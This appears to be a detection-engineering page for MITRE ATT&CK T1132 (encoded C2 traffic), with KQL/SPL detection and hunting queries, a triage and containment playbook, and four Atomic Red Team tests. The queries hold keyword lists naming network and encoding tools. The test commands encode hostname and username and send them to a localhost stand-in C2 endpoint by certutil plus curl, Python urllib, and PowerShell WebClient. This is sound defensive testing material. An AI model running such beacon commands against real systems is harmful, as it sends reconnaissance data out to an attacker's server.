T1132

Data Encoding

Command and Control Last updated:

Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. Some data encoding systems may also result in data compression, such as gzip. Real-world examples include BADNEWS converting encrypted C2 data to hexadecimal then Base64 before transmission, Ursnif embedding Base64-encoded data in HTTP URLs, H1N1 using an altered Base64 scheme for C2 traffic, and Linux Rabbit sending encoded payloads as URL parameters.

What is T1132 Data Encoding?

Data Encoding (T1132) maps to the Command and Control tactic — the adversary is trying to communicate with compromised systems to control them in MITRE ATT&CK.

This page provides production-ready detection logic for Data Encoding, covering the data sources and telemetry it touches: Process: Process Creation, Command: Command Execution, Microsoft Defender for Endpoint. The queries below are rated medium severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Command and Control
Technique
T1132 Data Encoding
Canonical reference
https://attack.mitre.org/techniques/T1132/
Microsoft Sentinel / Defender
kusto
let lookback = 24h;
let EncodingPatterns = dynamic([
    "base64", "-encode", "-decode", "FromBase64String", "ToBase64String",
    "b64encode", "b64decode", "binascii", "hexlify", "unhexlify",
    "zlib.compress", "gzip", "deflate", "urllib.parse.quote",
    "hex_codec", "btoa(", "atob(", "[Convert]::", "System.Convert"
]);
let NetworkPatterns = dynamic([
    "http://", "https://", "ftp://", "socket", "connect(",
    "urllib", "requests.", "Net.WebClient", "Invoke-WebRequest",
    "Invoke-RestMethod", "TcpClient", "UdpClient", "WebSocket",
    "curl ", "wget ", "UploadString", "DownloadString"
]);
// Branch 1: certutil used for encoding/decoding — classic LOLBin C2 helper
let CertutilEncoding = DeviceProcessEvents
| where Timestamp > ago(lookback)
| where FileName =~ "certutil.exe"
| where ProcessCommandLine has_any ("-encode", "-decode", "-urlcache")
| extend DetectionBranch = "CertutilEncoding"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine, DetectionBranch;
// Branch 2: Scripting interpreter combining encoding + network primitives in same invocation
let ScriptingEncodeNetwork = DeviceProcessEvents
| where Timestamp > ago(lookback)
| where FileName in~ ("python.exe", "python3.exe", "perl.exe", "php.exe", "ruby.exe", "node.exe", "nodejs")
| where ProcessCommandLine has_any (EncodingPatterns)
| where ProcessCommandLine has_any (NetworkPatterns)
| extend DetectionBranch = "ScriptingEncodeNetwork"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine, DetectionBranch;
// Branch 3: PowerShell using Base64 conversion APIs with networking classes
let PSEncodeNetwork = DeviceProcessEvents
| where Timestamp > ago(lookback)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any ("FromBase64String", "ToBase64String", "[Convert]::", "System.Convert")
| where ProcessCommandLine has_any ("Net.WebClient", "Invoke-WebRequest", "Invoke-RestMethod",
                                      "TcpClient", "UdpClient", "UploadString", "DownloadString")
| extend DetectionBranch = "PSEncodeNetwork"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine, DetectionBranch;
// Branch 4: curl or wget carrying suspiciously long Base64 or hex-encoded argument data
let EncodedNetworkUtil = DeviceProcessEvents
| where Timestamp > ago(lookback)
| where FileName in~ ("curl.exe", "curl", "wget.exe", "wget")
| where ProcessCommandLine matches regex @"[A-Za-z0-9+/]{60,}={0,2}"
      or ProcessCommandLine matches regex @"[0-9a-fA-F]{80,}"
| extend DetectionBranch = "EncodedNetworkUtil"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine, DetectionBranch;
union CertutilEncoding, ScriptingEncodeNetwork, PSEncodeNetwork, EncodedNetworkUtil
| sort by Timestamp desc

Detects encoded C2 communication patterns by monitoring process creation events for four distinct encoding+network activity signatures: (1) certutil.exe invoked with -encode, -decode, or -urlcache flags — a well-known LOLBin technique used by attackers to encode or decode C2 payloads; (2) scripting interpreters (Python, Perl, PHP, Ruby, Node.js) whose command lines combine encoding functions (base64, binascii, hexlify, zlib) with network primitives (urllib, socket, http) in a single invocation; (3) PowerShell processes combining Base64 conversion APIs ([Convert]::ToBase64String, FromBase64String) with WebClient or TCP/UDP networking classes; (4) curl or wget invocations carrying argument strings matching the Base64 or hexadecimal character pattern at suspicious lengths. The union approach across all four branches provides broad coverage across common encoding+network attack vectors seen in real-world C2 frameworks including Mythic, Cobalt Strike, and Python-based custom implants.

medium severity medium confidence

Data Sources

Process: Process Creation Command: Command Execution Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents

False Positives

  • Software deployment tools (SCCM, Intune, Ansible) that use certutil -decode or -urlcache to deliver installer payloads from internal distribution servers
  • Data science and DevOps pipelines (CI/CD agents, Terraform, configuration management) that Base64-encode credentials or configuration blobs before transmitting to APIs
  • Application monitoring agents (Datadog, Splunk UF, New Relic) that encode telemetry payloads before posting to SaaS collection endpoints
  • Web developers testing REST APIs with curl, passing Base64-encoded Bearer tokens or JSON payloads in request bodies
  • Security tooling including vulnerability scanners and SIEM forwarders that encode log data or signatures during transmission

Sigma rule & cross-platform mapping

The detection logic for Data Encoding (T1132) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1certutil Base64 Encode Reconnaissance Output and Transmit via curl

    Expected signal: Sysmon Event ID 1: Process Create for certutil.exe with CommandLine containing '-encode %TEMP%\recon_out.txt'. Sysmon Event ID 11: File Create for %TEMP%\recon_encoded.b64. Sysmon Event ID 1: Subsequent Process Create for curl.exe with CommandLine containing '--data-binary @' and the encoded temp file. Sysmon Event ID 3: Network Connection from curl.exe to 127.0.0.1:8080 (connection refused, but event fires).

  2. Test 2Python Base64-Encoded System Fingerprint Beacon

    Expected signal: Sysmon Event ID 1: Process Create for python.exe (or python3.exe) with CommandLine containing 'base64', 'urllib.request', 'socket', and 'os'. Sysmon Event ID 3: Network Connection attempt from python.exe to 127.0.0.1:8080.

  3. Test 3PowerShell ToBase64String with WebClient POST

    Expected signal: Sysmon Event ID 1: Process Create for powershell.exe with CommandLine containing 'ToBase64String', '[System.Convert]::', 'Net.WebClient', and 'UploadString'. Sysmon Event ID 3: Network Connection attempt from powershell.exe to 127.0.0.1:8080. PowerShell ScriptBlock Log Event ID 4104 in Microsoft-Windows-PowerShell/Operational captures the full script including the ToBase64String call.

  4. Test 4Hex-Encoded C2 Data via Python binascii and subprocess curl

    Expected signal: Sysmon Event ID 1: Process Create for python.exe with CommandLine containing 'binascii', 'hexlify', and 'subprocess'. Sysmon Event ID 1: Child Process Create for curl.exe with CommandLine containing 'http://127.0.0.1:8080/q?d=' followed by a hex-encoded string of 40+ characters. Sysmon Event ID 3: Network Connection attempt from curl.exe to 127.0.0.1:8080.


Response Playbook

Triage

  1. Identify the encoding method and decode the content immediately — for Base64: in PowerShell run [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('<string>')); for hex: use python3 -c "import binascii; print(binascii.unhexlify('<hex_string>').decode())"; for gzip+base64 chains use CyberChef with 'From Base64' → 'Gunzip'
  2. Examine what the decoded payload actually contains — legitimate app telemetry typically encodes structured data (JSON metrics, config blobs); C2 beacons commonly encode system fingerprinting fields (hostname, username, OS version, IP address concatenated with a separator like '|' or ':')
  3. Identify the parent process — was the encoding tool spawned by a browser, Office application, script downloaded from the internet, or a scheduled task with a suspicious path? LOLBin chains (mshta → cmd → certutil, or wscript → python) are strong indicators of initial access execution
  4. Investigate the network destination — query DeviceNetworkEvents or proxy logs for the remote IP/domain. Run the IP through VirusTotal, Shodan, and AbuseIPDB. Destinations on bulletproof hosting providers, residential ISP ASNs, or recently registered domains are high-risk signals
  5. Analyze the timing pattern — pull all network connections from this process over 24–48 hours using DeviceNetworkEvents filtered by InitiatingProcessId. Regular interval connections (e.g., every 60 seconds ±5%) with consistent encoded payload sizes are diagnostic of automated C2 beaconing, not human-driven activity
  6. Check user and device context — is the affected account a service account, standard user, or privileged admin? Does the device class (server, developer workstation, standard endpoint) have a legitimate reason for encoding-based network activity?
  7. Look for follow-on activity within 30 minutes — were additional processes spawned post-encoding? Did the device make new connections to previously unseen IPs? Were any files written to staging directories (Temp, AppData\Roaming, ProgramData)?

Containment

  1. If the decoded payload contains system fingerprinting data (hostname, username, IP, OS version) combined with an unknown external destination: treat as confirmed C2 implant and immediately isolate the endpoint via EDR network isolation
  2. Block the identified C2 destination at proxy, DNS sinkhole, and perimeter firewall with a named IOC rule — also alert on any subsequent connection to the same IP or domain from any other host to assess lateral spread
  3. If certutil was used to decode a file: locate and quarantine the decoded output — certutil places output in the same directory as the input by default; check %TEMP%, the user profile, and the current working directory of the process at time of execution
  4. If a scripting interpreter (Python, Perl, Node.js) is confirmed as the implant runner: locate the script file via Sysmon Event ID 11 (File Create) events in the same 5-minute window as the process creation, quarantine the script and its parent directory
  5. Revoke and rotate credentials for all accounts active on the affected host during the suspected compromise window — C2 implants routinely harvest tokens and credentials during initial execution
  6. If lateral movement indicators are present (other hosts connecting to the same C2 IP): coordinate containment across all affected hosts simultaneously before isolating any single endpoint to prevent the adversary from pivoting or destroying evidence

Evidence Collection

  1. Full process creation chain from the encoding tool back to PID 1 — correlate Sysmon Event ID 1 records via ProcessId and ParentProcessId fields to reconstruct the complete execution tree
  2. Complete command line of the encoding process — Sysmon Event ID 1 or Security Event ID 4688 (requires audit process tracking with command line auditing enabled via GPO: Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy Configuration)
  3. All outbound network connections from the encoding process — Sysmon Event ID 3 filtered by InitiatingProcessId matching the malicious PID; correlate timestamps to identify which connections occurred after encoding operations
  4. File creation events in the encoding window — Sysmon Event ID 11 focused on %TEMP%, AppData, ProgramData, and the working directory of the encoding process; recover encoded output files and intermediate staging files
  5. Decoded payload content — if certutil was used, retrieve the output file directly; if PowerShell, retrieve full decoded content from ScriptBlock Logging Event ID 4104 in Microsoft-Windows-PowerShell/Operational
  6. Network packet capture (PCAP) — request retrospective PCAP from perimeter or inline network security devices for the C2 IP/domain to analyze the full encoding pattern, payload size distribution, and beaconing interval
  7. Prefetch files — C:\Windows\Prefetch\CERTUTIL.EXE-*.pf or the equivalent for the encoding binary; these contain execution timestamps, loaded DLL names, and referenced file paths, establishing a historical timeline
  8. Scheduled tasks and persistence locations — the encoding implant may be invoked by a scheduled task or run key for persistence; collect via 'schtasks /query /fo LIST /v > tasks.txt' and Autoruns (autoruns.exe /accepteula /a /c > autoruns.csv)

Escalation Criteria

  • ! Decoded payload contains system reconnaissance fields (hostname, username, internal IP address, domain name) — this is a confirmed C2 beacon, not coincidental encoding use; escalate immediately to incident response
  • ! Regular beaconing pattern identified: 3 or more connections to the same external IP at consistent time intervals (e.g., every 60 seconds ±10%) with similar payload sizes — high-confidence automated C2 activity
  • ! Encoding process was spawned by a known initial access vector such as an Office macro parent (WINWORD.EXE, EXCEL.EXE), a browser (chrome.exe, msedge.exe) spawning a script runner, or a phishing attachment execution chain — indicates successful intrusion
  • ! C2 destination IP or domain matches a threat intelligence indicator for known malware infrastructure, active Cobalt Strike/Mythic/Brute Ratel Team Server, or appears on a blocklist published in the last 30 days
  • ! Multiple endpoints in the environment exhibit the same encoding pattern connecting to the same external destination — indicates lateral movement, worm-like propagation, or a shared implant framework deployed across the network
  • ! Encoding process spawns post-exploitation tools within 10 minutes: credential dumpers (mimikatz, procdump targeting lsass.exe), discovery tools (net.exe, whoami, ipconfig, nltest), or lateral movement utilities (psexec, wmic, mstsc) — adversary has reached post-exploitation phase

Investigation Guide

Forensic Artifacts

  • > File System: certutil output files — by default placed in the same directory as the input file; common paths include %TEMP%\*.cer, %TEMP%\*.b64, or custom extensions specified in the command
  • > File System: scripting interpreter cached bytecode — Python __pycache__ directories and .pyc files compiled from malicious scripts; Ruby .rb files in staging directories
  • > Event Log: Sysmon Event ID 1 (Process Creation) — full command line including encoding arguments, parent process, and user context for the encoding tool invocation
  • > Event Log: Sysmon Event ID 3 (Network Connection) — outbound connections from encoding processes; DestinationIP, DestinationPort, and InitiatingProcessCommandLine fields are key
  • > Event Log: Sysmon Event ID 11 (File Create) — files written by the encoding process; recover encoded output files and any dropped payloads
  • > Event Log: PowerShell ScriptBlock Logging Event ID 4104 in Microsoft-Windows-PowerShell/Operational — captures the full deobfuscated script content including reconstructed Base64-decoded strings when PowerShell is the encoding vehicle
  • > Network: Proxy access logs — encoded strings visible in URL query parameters or POST request bodies for non-TLS traffic; high-entropy URL paths (e.g., /beacon/aGVsbG8gd29ybGQ=) are indicators even without DPI
  • > Registry: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run — persistence entries invoking scripting interpreters with encoding-based C2 scripts
  • > Memory: Process memory dump of the live encoding process — in-memory implants may hold decoded C2 instructions or staging payloads that never touch disk

Tuning Guidance

The central tuning challenge for T1132 is that Base64 encoding is pervasive in legitimate software. Begin by building an allowlist of known-good parent process and destination combinations: (1) identify SCCM/Intune deployment agents (CCMExec.exe, IntuneManagementExtension.exe) that spawn certutil and allowlist by exact parent process; (2) allowlist specific service account names used by monitoring agents (Datadog, SolarWinds, Dynatrace) that post encoded telemetry — never allowlist by pattern, only by exact service account + destination combination; (3) for the ScriptingEncodeNetwork branch, consider requiring corroboration from Sysmon Event ID 3 (an actual outbound connection within 60 seconds) rather than relying on command-line pattern matching alone, which reduces false positives from data manipulation scripts that never establish external connections. Raise severity to 'high' when: (a) the decoded payload contains explicit reconnaissance markers (hostname + username + IP concatenated), (b) the destination IP appears in a threat intelligence feed as known C2 infrastructure, (c) the beaconing occurs outside business hours, or (d) the encoding process was spawned by an Office application or browser. For environments with heavy Python/data science usage, consider adding branch exceptions for known-good script paths (e.g., site-packages directories and venv paths) while retaining alerting for scripts executing from user-writable temporary directories.


Hunting Queries

Hunt for certutil encoding/decoding operations that are followed within 5 minutes by execution of a new child process — a pattern consistent with certutil being used to decode a payload that is subsequently executed. This is a higher-fidelity indicator than encoding alone and is characteristic of LOLBin-assisted dropper chains used in phishing and initial access payloads.

Hunting — KQL
kql
// Hunt: certutil decode followed within 5 minutes by a new process execution
// Identifies LOLBin-assisted payload staging chains
let lookback = 7d;
let CertutilDecodes = DeviceProcessEvents
| where Timestamp > ago(lookback)
| where FileName =~ "certutil.exe"
| where ProcessCommandLine has_any ("-decode", "-encode", "-urlcache")
| project DecodeTime=Timestamp, DeviceId, DeviceName, AccountName,
          CertutilCmd=ProcessCommandLine, CertPid=ProcessId;
CertutilDecodes
| join kind=inner (
    DeviceProcessEvents
    | where Timestamp > ago(lookback)
    | where FileName !in~ ("certutil.exe", "svchost.exe", "conhost.exe", "WerFault.exe", "MpCmdRun.exe")
    | project ChildTime=Timestamp, DeviceId, AccountName,
             ChildProcess=FileName, ChildCmd=ProcessCommandLine, ParentPid=InitiatingProcessId
) on DeviceId, $left.CertPid == $right.ParentPid
| where ChildTime between (DecodeTime .. (DecodeTime + 5m))
| project DecodeTime, DeviceName, AccountName, CertutilCmd, ChildProcess, ChildCmd, ChildTime
| sort by DecodeTime desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
    Image="*\\certutil.exe"
    (CommandLine="*-decode*" OR CommandLine="*-urlcache*" OR CommandLine="*-encode*")
| eval CertutilTime=_time, CertutilCmd=CommandLine
| rename ProcessGuid as ParentProcessGuid
| join type=inner max=5 ParentProcessGuid [
    search index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
        NOT (Image="*\\certutil.exe" OR Image="*\\svchost.exe" OR Image="*\\conhost.exe" OR Image="*\\WerFault.exe")
    | eval ChildTime=_time
    | table ParentProcessGuid, ChildTime, host, User, Image, CommandLine
]
| where (ChildTime - CertutilTime) >= 0 AND (ChildTime - CertutilTime) <= 300
| eval DelaySeconds=(ChildTime - CertutilTime)
| table CertutilTime, host, User, CertutilCmd, Image, CommandLine, DelaySeconds
| sort - CertutilTime

Hunt for periodic beaconing by identifying encoding-capable processes that make recurring outbound connections to the same external IP at a sustained rate over multiple hours. Human-driven tool usage rarely produces more than 10 connections to a single IP over 2+ hours from a scripting interpreter; automated C2 beaconing almost always does. The beacons-per-hour metric combined with minimum total connection count filters out brief bursts while surfacing persistent implants.

Hunting — KQL
kql
// Hunt: Consistent periodic beaconing from encoding-capable processes to a single external IP
// Regular interval + high connection count = automated C2, not human-driven activity
let lookback = 7d;
DeviceNetworkEvents
| where Timestamp > ago(lookback)
| where RemoteIPType == "Public"
| where ActionType == "ConnectionSuccess"
| where InitiatingProcessFileName in~ (
    "python.exe", "python3.exe", "perl.exe", "php.exe", "ruby.exe",
    "node.exe", "powershell.exe", "pwsh.exe", "curl.exe", "curl", "wget.exe", "wget"
  )
| summarize
    ConnectionCount = count(),
    FirstSeen = min(Timestamp),
    LastSeen = max(Timestamp),
    UniquePorts = dcount(RemotePort),
    SampleCmdLine = take_any(InitiatingProcessCommandLine)
  by DeviceName, InitiatingProcessFileName, RemoteIP
| extend DurationHours = datetime_diff('hour', LastSeen, FirstSeen)
| extend BeaconsPerHour = iff(DurationHours > 0, toreal(ConnectionCount) / toreal(DurationHours), 0.0)
| where ConnectionCount >= 10
| where DurationHours >= 2
| where BeaconsPerHour between (0.5 .. 180.0)
| project DeviceName, InitiatingProcessFileName, RemoteIP, ConnectionCount,
          DurationHours, BeaconsPerHour, UniquePorts, FirstSeen, LastSeen, SampleCmdLine
| sort by ConnectionCount desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
    NOT (DestinationIp="10.*" OR DestinationIp="172.16.*" OR DestinationIp="172.17.*"
         OR DestinationIp="172.18.*" OR DestinationIp="172.19.*" OR DestinationIp="172.20.*"
         OR DestinationIp="172.21.*" OR DestinationIp="172.22.*" OR DestinationIp="172.23.*"
         OR DestinationIp="172.24.*" OR DestinationIp="172.25.*" OR DestinationIp="172.26.*"
         OR DestinationIp="172.27.*" OR DestinationIp="172.28.*" OR DestinationIp="172.29.*"
         OR DestinationIp="172.30.*" OR DestinationIp="172.31.*"
         OR DestinationIp="192.168.*" OR DestinationIp="127.*")
    (Image="*\\python*.exe" OR Image="*\\perl.exe" OR Image="*\\php.exe" OR Image="*\\ruby.exe"
     OR Image="*\\node.exe" OR Image="*\\powershell.exe" OR Image="*\\pwsh.exe"
     OR Image="*\\curl.exe" OR Image="*\\wget.exe")
| bin _time span=1h
| stats count as HourlyConnections by host, Image, DestinationIp, _time
| stats avg(HourlyConnections) as AvgPerHour, max(HourlyConnections) as PeakPerHour,
        count as HoursActive, sum(HourlyConnections) as TotalConnections
  by host, Image, DestinationIp
| where HoursActive >= 2 AND TotalConnections >= 10 AND AvgPerHour >= 1
| sort - TotalConnections

Hunt for unusually long Base64-pattern strings embedded directly in command-line invocations of network tools and scripting interpreters. While legitimate software passes encoded tokens (OAuth bearer tokens, config blobs), these typically appear in known, stable patterns. Anomalously long encoded strings (100+ characters) in curl, wget, or PowerShell command lines — especially when they vary between invocations or appear outside expected business software paths — may represent encoded C2 payloads, encoded reconnaissance output, or staged shellcode being transmitted inline.

Hunting — KQL
kql
// Hunt: Long encoded-looking strings appearing in network tool command lines
// Surfaces cases where encoded C2 data is passed inline to curl/wget/PowerShell
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("curl.exe", "curl", "wget.exe", "wget", "powershell.exe", "pwsh.exe")
| where ProcessCommandLine matches regex @"[A-Za-z0-9+/=]{100,}"
| extend EncodedSegment = extract(@"([A-Za-z0-9+/=]{100,})", 1, ProcessCommandLine)
| extend SegmentLength = strlen(EncodedSegment)
| where SegmentLength between (100 .. 10000)
| summarize
    OccurrenceCount = count(),
    UniqueDevices = dcount(DeviceName),
    SampleSegments = make_set(EncodedSegment, 3),
    SampleCmdLines = make_set(ProcessCommandLine, 3)
  by AccountName, FileName, bin(Timestamp, 1d)
| order by OccurrenceCount desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
    (Image="*\\curl.exe" OR Image="*\\wget.exe" OR Image="*\\powershell.exe" OR Image="*\\pwsh.exe")
| rex field=CommandLine "(?<EncodedSegment>[A-Za-z0-9+/=]{100,})"
| where isnotnull(EncodedSegment)
| eval SegmentLen=len(EncodedSegment)
| where SegmentLen > 100
| stats
    count as TotalOccurrences,
    dc(host) as UniqueHosts,
    values(EncodedSegment) as EncodedSamples,
    values(CommandLine) as SampleCmdLines
  by User, Image, SegmentLen
| sort - SegmentLen

Atomic Red Team Tests

Test 1 certutil Base64 Encode Reconnaissance Output and Transmit via curl
windows

Simulates a LOLBin-based C2 encoding chain where certutil.exe Base64-encodes a file containing reconnaissance data and curl transmits the result to a remote endpoint. This two-step pattern — certutil for encoding, curl for delivery — is used by attackers to avoid encoding libraries in a single process command line and to evade string-matching detections. The destination is localhost port 8080 to make this test safe; the curl connection will fail (no listener) but all process and file creation telemetry fires.

Command

powershell
echo hostname=%COMPUTERNAME% user=%USERNAME% os=%OS% > %TEMP%\recon_out.txt && certutil -encode %TEMP%\recon_out.txt %TEMP%\recon_encoded.b64 && curl -s -X POST http://127.0.0.1:8080/upload --data-binary @%TEMP%\recon_encoded.b64

Cleanup

powershell
del /f %TEMP%\recon_out.txt %TEMP%\recon_encoded.b64 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create for certutil.exe with CommandLine containing '-encode %TEMP%\recon_out.txt'. Sysmon Event ID 11: File Create for %TEMP%\recon_encoded.b64. Sysmon Event ID 1: Subsequent Process Create for curl.exe with CommandLine containing '--data-binary @' and the encoded temp file. Sysmon Event ID 3: Network Connection from curl.exe to 127.0.0.1:8080 (connection refused, but event fires).

Expected Detection

KQL CertutilEncoding branch fires on certutil.exe with '-encode' in command line. SPL CertutilEncoding eval = 1, TotalScore >= 1. The certutil-then-execution hunting query additionally triggers when curl.exe spawns within 5 minutes as a follow-on process.

Test 2 Python Base64-Encoded System Fingerprint Beacon
windows

Simulates a Python-based C2 implant that collects system reconnaissance data (hostname and username), Base64-encodes it using the standard library, and transmits it in the URL path of an HTTP GET request — a pattern seen in lightweight Python stagers and custom implants. The destination is localhost to keep this test safe; the urllib request will raise a connection error but Sysmon Event ID 1 (process creation) and Event ID 3 (network connection attempt) both fire before the error occurs.

Command

powershell
python -c "import base64,urllib.request,socket,os; beacon=base64.b64encode((socket.gethostname()+':'+os.getlogin()+':recon').encode()).decode(); urllib.request.urlopen('http://127.0.0.1:8080/c2/'+beacon)"

Expected Telemetry

Sysmon Event ID 1: Process Create for python.exe (or python3.exe) with CommandLine containing 'base64', 'urllib.request', 'socket', and 'os'. Sysmon Event ID 3: Network Connection attempt from python.exe to 127.0.0.1:8080.

Expected Detection

KQL ScriptingEncodeNetwork branch fires: FileName matches python.exe, ProcessCommandLine contains 'base64' (hits EncodingPatterns) AND 'urllib.request' (hits NetworkPatterns). SPL ScriptEncodeNet eval = 1, TotalScore >= 1.

Test 3 PowerShell ToBase64String with WebClient POST
windows

Simulates a PowerShell-based C2 implant that encodes system information using [System.Convert]::ToBase64String and transmits it via .NET WebClient's UploadString method. This pattern is used by PowerShell-based C2 frameworks including Empire, PoshC2, and custom implants to encode initial beacon responses and subsequent command output. The destination is localhost port 8080 and the connection will fail gracefully with a WebException, but all relevant process creation and network telemetry fires.

Command

powershell
powershell.exe -NoProfile -NonInteractive -Command "$payload = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:COMPUTERNAME + '|' + $env:USERNAME + '|' + (Get-Date -Format 'o'))); try { (New-Object Net.WebClient).UploadString('http://127.0.0.1:8080/beacon', $payload) } catch {}"

Expected Telemetry

Sysmon Event ID 1: Process Create for powershell.exe with CommandLine containing 'ToBase64String', '[System.Convert]::', 'Net.WebClient', and 'UploadString'. Sysmon Event ID 3: Network Connection attempt from powershell.exe to 127.0.0.1:8080. PowerShell ScriptBlock Log Event ID 4104 in Microsoft-Windows-PowerShell/Operational captures the full script including the ToBase64String call.

Expected Detection

KQL PSEncodeNetwork branch fires: FileName matches powershell.exe, ProcessCommandLine contains 'ToBase64String' AND 'Net.WebClient'. SPL PSEncodeNet eval = 1, TotalScore >= 1. May also trigger T1059.001 PowerShell detection rules on the WebClient pattern.

Test 4 Hex-Encoded C2 Data via Python binascii and subprocess curl
windows

Simulates the BADNEWS-style hex encoding technique where data is encoded as hexadecimal using Python's binascii.hexlify and transmitted via curl as a URL query parameter. This two-stage approach (Python for encoding, curl for delivery) mirrors how BADNEWS converts encrypted data to hex before Base64 encoding it. This test uses only hex encoding and passes it directly to a subprocess curl call, reflecting the technique variant where encoding and delivery occur in separate processes.

Command

powershell
python -c "import binascii,subprocess,os,socket; hex_payload=binascii.hexlify((socket.gethostname()+':'+os.getlogin()).encode()).decode(); subprocess.run(['curl','-s','http://127.0.0.1:8080/q?d='+hex_payload],capture_output=True)"

Expected Telemetry

Sysmon Event ID 1: Process Create for python.exe with CommandLine containing 'binascii', 'hexlify', and 'subprocess'. Sysmon Event ID 1: Child Process Create for curl.exe with CommandLine containing 'http://127.0.0.1:8080/q?d=' followed by a hex-encoded string of 40+ characters. Sysmon Event ID 3: Network Connection attempt from curl.exe to 127.0.0.1:8080.

Expected Detection

KQL ScriptingEncodeNetwork branch fires on python.exe (binascii + hexlify hit EncodingPatterns; subprocess hit is indirect but the curl child process fires EncodedNetworkUtil branch if hex string exceeds 80 chars). SPL ScriptEncodeNet eval = 1 on python.exe process. The hex-encoded string in curl's command line is visible in Sysmon Event ID 1 for the child curl process.

Related Detections